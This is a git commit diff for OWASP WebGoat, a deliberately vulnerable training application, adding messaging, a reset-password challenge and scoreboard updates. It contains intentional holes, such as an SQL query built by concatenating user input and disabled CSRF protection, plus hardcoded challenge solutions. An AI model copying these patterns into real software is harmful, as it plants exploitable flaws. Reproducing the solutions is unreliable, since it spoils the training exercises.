Merge remote-tracking branch 'upstream/develop' into develop

This commit is contained in:
Jason White 2017-10-11 20:29:47 -06:00
commit d0ec84e9a6
129 changed files with 4402 additions and 221 deletions

View File

@ -4,7 +4,7 @@ jdk:
install: "/bin/true"
script:
- mvn clean install
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install; else mvn clean install; fi
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; else mvn clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; fi
cache:
directories:
- $HOME/.m2

View File

@ -20,7 +20,7 @@
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.3.RELEASE</version>
<version>1.5.5.RELEASE</version>
</parent>
<licenses>
@ -130,7 +130,6 @@
<commons-fileupload.version>1.3.1</commons-fileupload.version>
<commons-io.version>2.4</commons-io.version>
<commons-lang3.version>3.4</commons-lang3.version>
<commons-logging.version>1.2</commons-logging.version>
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
<gatling.version>2.2.5</gatling.version>
<gatling-plugin.version>2.2.4</gatling-plugin.version>
@ -146,7 +145,6 @@
<jstl.version>1.2</jstl.version>
<jtds.version>1.3.1</jtds.version>
<junit.version>4.12</junit.version>
<log4j.version>1.2.17</log4j.version>
<mail-api.version>1.5.4</mail-api.version>
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version>
@ -160,8 +158,6 @@
<scala.version>2.11.7</scala.version>
<sauce_junit.version>2.1.20</sauce_junit.version>
<selenium-java.version>2.48.2</selenium-java.version>
<slf4j-api.version>1.7.12</slf4j-api.version>
<slf4j-log4j12.version>1.7.12</slf4j-log4j12.version>
<spring.security.version>3.2.4.RELEASE</spring.security.version>
<standard.version>1.1.2</standard.version>
<tiles.version>3.0.5</tiles.version>
@ -172,9 +168,11 @@
</properties>
<modules>
<module>webgoat-commons</module>
<module>webgoat-container</module>
<module>webgoat-lessons</module>
<module>webgoat-server</module>
<module>webwolf</module>
</modules>
<distributionManagement>

37
webgoat-commons/pom.xml Normal file
View File

@ -0,0 +1,37 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-commons</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>ISO-8859-1</encoding>
</configuration>
</plugin>
</plugins>
</build>
</project>

View File

@ -0,0 +1,15 @@
package org.owasp.webgoat.login;
import lombok.AllArgsConstructor;
import lombok.Data;
/**
* @author nbaars
* @since 8/20/17.
*/
@Data
@AllArgsConstructor
public class LoginEvent {
private String user;
private String cookie;
}

View File

@ -0,0 +1,14 @@
package org.owasp.webgoat.login;
import lombok.AllArgsConstructor;
import lombok.Data;
/**
* @author nbaars
* @since 8/20/17.
*/
@AllArgsConstructor
@Data
public class LogoutEvent {
private String user;
}

View File

@ -0,0 +1,21 @@
package org.owasp.webgoat.mail;
import lombok.Builder;
import lombok.Data;
import java.time.LocalDateTime;
/**
* @author nbaars
* @since 8/20/17.
*/
@Builder
@Data
public class IncomingMailEvent {
private LocalDateTime time;
private String contents;
private String sender;
private String title;
private String recipient;
}

View File

@ -34,6 +34,23 @@
</plugins>
</build>
</profile>
<profile>
<id>local</id>
<activation>
<activeByDefault>true</activeByDefault>
</activation>
<dependencies>
<dependency>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</dependency>
</dependencies>
</profile>
<profile>
<id>ctf</id>
<!-- Connect to real mongodb -->
</profile>
</profiles>
@ -132,6 +149,19 @@
</build>
<dependencies>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-commons</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
@ -144,6 +174,19 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-cache</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-activemq</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jms</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
@ -153,10 +196,6 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-mongodb</artifactId>
</dependency>
<dependency>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>

View File

@ -1,11 +1,24 @@
package org.owasp.webgoat;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.login.LoginEvent;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.security.core.Authentication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Optional;
import static java.util.Optional.empty;
import static java.util.Optional.of;
/**
* *************************************************************************************************
* <p>
@ -41,19 +54,38 @@ import org.springframework.web.servlet.ModelAndView;
* @since October 28, 2003
*/
@Controller
@AllArgsConstructor
public class HammerHead {
private final Course course;
public HammerHead(Course course) {
this.course = course;
}
private JmsTemplate jmsTemplate;
/**
* Entry point for WebGoat, redirects to the first lesson found within the course.
*/
@RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView attack() {
public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) {
sendUserLoggedInMessage(request, response, authentication);
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
}
private void sendUserLoggedInMessage(HttpServletRequest request, HttpServletResponse response, Authentication authentication) {
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
getWebGoatCookie(request).ifPresent(c -> {
jmsTemplate.convertAndSend("webgoat", new LoginEvent(user.getUsername(), c.getValue()), m -> {
m.setStringProperty("type", LoginEvent.class.getSimpleName());
return m;
}
);
});
}
private Optional<Cookie> getWebGoatCookie(HttpServletRequest request) {
for (Cookie c : request.getCookies()) {
if (c.getName().equals("JSESSIONID")) {
return of(c);
}
}
return empty();
}
}

View File

@ -0,0 +1,35 @@
package org.owasp.webgoat;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.activemq.broker.BrokerService;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.jms.support.converter.MappingJackson2MessageConverter;
import org.springframework.jms.support.converter.MessageConverter;
import org.springframework.jms.support.converter.MessageType;
/**
* @author nbaars
* @since 8/20/17.
*/
@Configuration
public class JmsConfig {
@Bean(initMethod = "start", destroyMethod = "stop")
public BrokerService broker() throws Exception {
final BrokerService broker = new BrokerService();
broker.addConnector("tcp://localhost:61616");
broker.addConnector("vm://localhost");
broker.setPersistent(false);
return broker;
}
@Bean
public MessageConverter jacksonJmsMessageConverter(ObjectMapper objectMapper) {
MappingJackson2MessageConverter converter = new MappingJackson2MessageConverter();
converter.setTargetType(MessageType.TEXT);
converter.setObjectMapper(objectMapper);
converter.setTypeIdPropertyName("_type");
return converter;
}
}

View File

@ -39,11 +39,9 @@ import org.owasp.webgoat.session.LabelDebugger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.ApplicationContext;
import org.springframework.context.MessageSource;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
@ -154,13 +152,9 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
return slr;
}
@Bean
public HammerHead hammerHead(Course course) {
return new HammerHead(course);
}
@Bean
public LabelDebugger labelDebugger() {
return new LabelDebugger();
}
}

View File

@ -30,7 +30,6 @@
*/
package org.owasp.webgoat;
import com.fasterxml.jackson.annotation.JsonInclude;
import lombok.extern.slf4j.Slf4j;
import org.apache.catalina.Context;
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
@ -49,10 +48,8 @@ import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletCon
import org.springframework.boot.web.support.SpringBootServletInitializer;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Primary;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder;
import java.io.File;
import java.util.Arrays;
@ -70,15 +67,6 @@ public class WebGoat extends SpringBootServletInitializer {
SpringApplication.run(WebGoat.class, args);
}
@Bean
@Primary
public Jackson2ObjectMapperBuilder jacksonBuilder() {
Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
builder.indentOutput(true);
builder.serializationInclusion(JsonInclude.Include.NON_NULL);
return builder;
}
@Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome);
@ -93,7 +81,7 @@ public class WebGoat extends SpringBootServletInitializer {
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public UserSessionData userSessionData() {
return new UserSessionData("test","data");
return new UserSessionData("test", "data");
}
@Bean

View File

@ -31,6 +31,7 @@
package org.owasp.webgoat;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.login.LogoutHandler;
import org.owasp.webgoat.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
@ -52,6 +53,7 @@ import org.springframework.security.core.userdetails.UserDetailsService;
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
private final UserService userDetailsService;
private final LogoutHandler logoutHandler;
@Override
protected void configure(HttpSecurity http) throws Exception {
@ -69,8 +71,8 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
.passwordParameter("password")
.permitAll();
security.and()
.logout()
.permitAll();
.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true)
.permitAll().logoutSuccessHandler(logoutHandler);
security.and().csrf().disable();
http.headers().cacheControl().disable();

View File

@ -108,4 +108,8 @@ public abstract class AssignmentEndpoint extends Endpoint {
protected AttackResult.AttackResultBuilder failed() {
return AttackResult.builder(messages).lessonCompleted(false).feedback("assignment.not.solved");
}
protected AttackResult.AttackResultBuilder informationMessage() {
return AttackResult.builder(messages).lessonCompleted(false);
}
}

View File

@ -0,0 +1,47 @@
package org.owasp.webgoat.login;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandler;
import org.springframework.stereotype.Component;
import javax.servlet.ServletException;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Optional;
/**
* @author nbaars
* @since 8/20/17.
*/
@AllArgsConstructor
@Component
public class LogoutHandler extends SimpleUrlLogoutSuccessHandler {
private JmsTemplate jmsTemplate;
@Override
public void onLogoutSuccess(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Authentication authentication) throws IOException, ServletException {
if (authentication != null) {
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
jmsTemplate.convertAndSend("webgoat", new LogoutEvent(user.getUsername()), m -> {
m.setStringProperty("type", LogoutEvent.class.getSimpleName());
return m;
});
}
super.onLogoutSuccess(httpServletRequest, httpServletResponse, authentication);
}
private Optional<Cookie> findSessionCookie(Cookie[] cookies) {
for (Cookie cookie : cookies) {
if ("JSESSIONID".equals(cookie.getName())) {
return Optional.of(cookie);
}
}
return Optional.empty();
}
}

View File

@ -71,6 +71,7 @@ public class PluginsLoader {
NewLesson lesson = null;
try {
lesson = (NewLesson) c.newInstance();
log.trace("Lesson loaded: {}", lesson.getId());
} catch (Exception e) {
log.error("Error while loading:" + c, e);
}

View File

@ -1,16 +1,16 @@
package org.owasp.webgoat.users;
import lombok.AllArgsConstructor;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
/**
@ -32,29 +32,16 @@ public class RegistrationController {
}
@PostMapping("/register.mvc")
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult) {
@SneakyThrows
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
userValidator.validate(userForm, bindingResult);
if (bindingResult.hasErrors()) {
return "registration";
}
userService.addUser(userForm.getUsername(), userForm.getPassword());
autologin(userForm.getUsername(), userForm.getPassword());
request.login(userForm.getUsername(), userForm.getPassword());
return "redirect:/attack";
}
private void autologin(String username, String password) {
WebGoatUser user = userService.loadUserByUsername(username);
UsernamePasswordAuthenticationToken usernamePasswordAuthenticationToken = new UsernamePasswordAuthenticationToken(user, password, user.getAuthorities());
authenticationManager.authenticate(usernamePasswordAuthenticationToken);
if (usernamePasswordAuthenticationToken.isAuthenticated()) {
SecurityContextHolder.getContext().setAuthentication(usernamePasswordAuthenticationToken);
log.debug("Login for {} successfully!", username);
}
}
}

View File

@ -45,10 +45,11 @@ public class Scoreboard {
}
private List<String> challengesSolved(UserTracker userTracker) {
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5");
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
return challenges.stream()
.map(c -> userTracker.getLessonTracker(c))
.filter(l -> l.isPresent()).map(l -> l.get())
.filter(l -> l.isLessonSolved())
.map(l -> l.getLessonName())
.map(l -> toLessonTitle(l))
.collect(Collectors.toList());

View File

@ -0,0 +1,21 @@
package org.owasp.webgoat.users;
import lombok.AccessLevel;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import org.springframework.data.annotation.Id;
/**
* @author nbaars
* @since 8/15/17.
*/
@Getter
@AllArgsConstructor
@NoArgsConstructor(access = AccessLevel.PROTECTED)
public class UserSession {
private WebGoatUser webGoatUser;
@Id
private String sessionId;
}

View File

@ -29,7 +29,16 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en
webwolf.port=8081
webwolf.url=http://localhost:${webwolf.port}/WebWolf
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
spring.jackson.serialization.indent_output=true
spring.jackson.serialization.write-dates-as-timestamps=false
spring.activemq.brokerUrl=tcp://localhost:61616
spring.data.mongodb.port=27017
spring.data.mongodb.database=webgoat
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/

View File

@ -1,15 +0,0 @@
<databaseChangeLog
xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.4.xsd">
<changeSet author="WebGoat" id="init_schema">
<createTable tableName="web_goat_user">
<column name="username" type="varchar(32)"/>
<column name="password" type="varchar(32)"/>
<column name="role" type="varchar(32)"/>
</createTable>
<addPrimaryKey columnNames="username" constraintName="pk_user" tableName="web_goat_user"/>
</changeSet>
</databaseChangeLog>

View File

@ -24,7 +24,7 @@
#
lesson.completed=Congratulations. You have successfully completed this lesson.
assignment.solved=Congratulations. You have successfully complete the assignment.
assignment.solved=Congratulations. You have successfully completed the assignment.
assignment.not.solved=Sorry the solution is not correct, please try again.
RestartLesson=Restart this Lesson
SolutionVideos=Solution Videos

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

View File

@ -1146,7 +1146,7 @@ div.captured-flag {
}
.appseceu-banner {
background: url('img/appseceu-17.png') no-repeat 0px 0px;
background: url('img/owasp_logo.jpg') no-repeat 0px 0px;
height: 117px;
width: 1268px;
margin-bottom: 20px;

View File

@ -1,5 +1,5 @@
<div class="scoreboard-title">WebGoat Challenge - AppSec EU 2017</div>
<div class="appseceu-banner">banner here</div>
<div class="scoreboard-title">WebGoat Challenge</div>
<div class="appseceu-banner"></div>
<table class="scoreboard-table">
<% _.each(rankings, function(userRanking, index) { %>
<tr>

View File

@ -0,0 +1,19 @@
package org.owasp.webgoat.plugins;
import org.apache.activemq.broker.BrokerService;
import org.mockito.Mockito;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
/**
* @author nbaars
* @since 8/30/17.
*/
@Configuration
public class JmsTestConfig {
@Bean
public BrokerService broker() throws Exception {
return Mockito.mock(BrokerService.class);
}
}

View File

@ -9,6 +9,7 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.context.embedded.LocalServerPort;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.context.annotation.Import;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext;
@ -23,6 +24,7 @@ import static org.mockito.Mockito.when;
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@TestPropertySource(locations = "classpath:/application-test.properties")
@Import(JmsTestConfig.class)
public abstract class LessonTest {
@LocalServerPort

View File

@ -1 +1 @@
webgoat.user.directory=/tmp/
webgoat.user.directory=${java.io.tmpdir}

View File

@ -1 +0,0 @@
log4j.rootLogger=INFO

View File

@ -0,0 +1 @@
<configuration />

View File

@ -6,7 +6,6 @@ import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
@ -38,7 +37,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
.param("field6", "90201 1111")
.param("field7", "301-604-4882")
.param("error", "2"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@ -53,7 +51,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882$$")
.param("error", "0"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@ -68,7 +65,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
.param("field6", "90201 1111AA")
.param("field7", "301-604-4882AA")
.param("error", "0"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}

View File

@ -45,7 +45,7 @@ public class Flag extends Endpoint {
@PostConstruct
public void initFlags() {
IntStream.range(1, 7).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
}

View File

@ -14,5 +14,7 @@ public interface SolutionConstants {
String PASSWORD_TOM = "thisisasecretfortomonly";
String PASSWORD_LARRY = "larryknows";
String JWT_PASSWORD = "victory";
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
String TOM_EMAIL = "tom@webgoat-cloud.org";
}

View File

@ -6,7 +6,7 @@ import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import com.google.common.io.Files;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils;
import lombok.extern.slf4j.Slf4j;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -45,6 +45,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
* @since 4/8/17.
*/
@AssignmentPath("/challenge/3")
@Slf4j
public class Assignment3 extends AssignmentEndpoint {
@Value("${webgoat.server.directory}")
@ -66,10 +67,11 @@ public class Assignment3 extends AssignmentEndpoint {
@PostConstruct
@SneakyThrows
public void copyFile() {
File targetDirectory = new File(webGoatHomeDirectory, "/challenges");
File targetDirectory = new File(webGoatHomeDirectory);
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
log.info("Copied secret.txt to: {}", targetDirectory);
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
}
@ -106,14 +108,14 @@ public class Assignment3 extends AssignmentEndpoint {
userComments.put(webSession.getUserName(), comments);
}
if (checkSolution(comment)) {
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build();
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build();
}
return attackResult;
}
private boolean checkSolution(Comment comment) {
if (StringUtils.equals(comment.getText(), secretContents)) {
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!!");
if (comment.getText().contains(secretContents)) {
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack ");
comments.add(comment);
return true;
}

View File

@ -9,6 +9,7 @@ import org.owasp.webgoat.plugin.Flag;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@ -38,6 +39,13 @@ public class Assignment5 extends AssignmentEndpoint {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
return failed().feedback("required4").build();
}
if (!"Larry".equals(username_login)) {
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
}
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
ResultSet resultSet = statement.executeQuery();

View File

@ -0,0 +1,84 @@
package org.owasp.webgoat.plugin.challenge7;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.mail.IncomingMailEvent;
import org.owasp.webgoat.plugin.SolutionConstants;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.net.URI;
import java.net.URISyntaxException;
import java.time.LocalDateTime;
import static org.owasp.webgoat.plugin.Flag.FLAGS;
import static org.springframework.web.bind.annotation.RequestMethod.GET;
import static org.springframework.web.bind.annotation.RequestMethod.POST;
/**
* @author nbaars
* @since 4/8/17.
*/
@AssignmentPath("/challenge/7")
@Slf4j
public class Assignment7 extends AssignmentEndpoint {
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
@Autowired
private JmsTemplate jmsTemplate;
@GetMapping("/reset-password/{link}")
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
}
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
}
@RequestMapping(method = POST)
@ResponseBody
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) throws URISyntaxException {
if (StringUtils.hasText(email)) {
String username = email.substring(0, email.indexOf("@"));
if (StringUtils.hasText(username)) {
URI uri = new URI(request.getRequestURL().toString());
IncomingMailEvent mail = IncomingMailEvent.builder()
.title("Your password reset link for challenge 7")
.contents(String.format(TEMPLATE, uri.getScheme() + "://" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, "webgoat")))
.sender("password-reset@webgoat-cloud.net")
.recipient(username)
.time(LocalDateTime.now()).build();
jmsTemplate.convertAndSend("mailbox", mail);
}
}
return success().feedback("email.send").feedbackArgs(email).build();
}
@RequestMapping(method = GET, value = "/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
@ResponseBody
@SneakyThrows
public ClassPathResource git() {
return new ClassPathResource("challenge7/git.zip");
}
}

View File

@ -0,0 +1,39 @@
package org.owasp.webgoat.plugin.challenge7;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* @author nbaars
* @since 3/21/17.
*/
public class Challenge7 extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 10;
}
@Override
public String getTitle() {
return "challenge7.title";
}
@Override
public String getId() {
return "Challenge7";
}
}

View File

@ -0,0 +1,689 @@
package org.owasp.webgoat.plugin.challenge7;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.io.*;
/**
* MD5 hash generator.
* More information about this class is available from <a target="_top" href=
* "http://ostermiller.org/utils/MD5.html">ostermiller.org</a>.
* <p>
* This class takes as input a message of arbitrary length and produces
* as output a 128-bit "fingerprint" or "message digest" of the input.
* It is conjectured that it is computationally infeasible to produce
* two messages having the same message digest, or to produce any
* message having a given pre-specified target message digest. The MD5
* algorithm is intended for digital signature applications, where a
* large file must be "compressed" in a secure manner before being
* encrypted with a private (secret) key under a public-key cryptosystem
* such as RSA.
* <p>
* For more information see RFC1321.
*
* @author Santeri Paavolainen http://santtu.iki.fi/md5/
* @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities
* @since ostermillerutils 1.00.00
*/
public class MD5 {
/**
* Class constructor
*
* @since ostermillerutils 1.00.00
*/
public MD5() {
reset();
}
/**
* Command line program that will take files as arguments
* and output the MD5 sum for each file.
*
* @param args command line arguments
* @since ostermillerutils 1.00.00
*/
public static void main(String[] args) {
if (args.length == 0) {
System.err.println("Please specify a file.");
} else {
for (String element : args) {
try {
System.out.println(MD5.getHashString(new File(element)) + " " + element);
} catch (IOException x) {
System.err.println(x.getMessage());
}
}
}
}
/**
* Gets this hash sum as an array of 16 bytes.
*
* @return Array of 16 bytes, the hash of all updated bytes.
* @since ostermillerutils 1.00.00
*/
public byte[] getHash() {
if (!finalState.valid) {
finalState.copy(workingState);
long bitCount = finalState.bitCount;
// Compute the number of left over bits
int leftOver = (int) (((bitCount >>> 3)) & 0x3f);
// Compute the amount of padding to add based on number of left over bits.
int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver);
// add the padding
update(finalState, padding, 0, padlen);
// add the length (computed before padding was added)
update(finalState, encode(bitCount), 0, 8);
finalState.valid = true;
}
// make a copy of the hash before returning it.
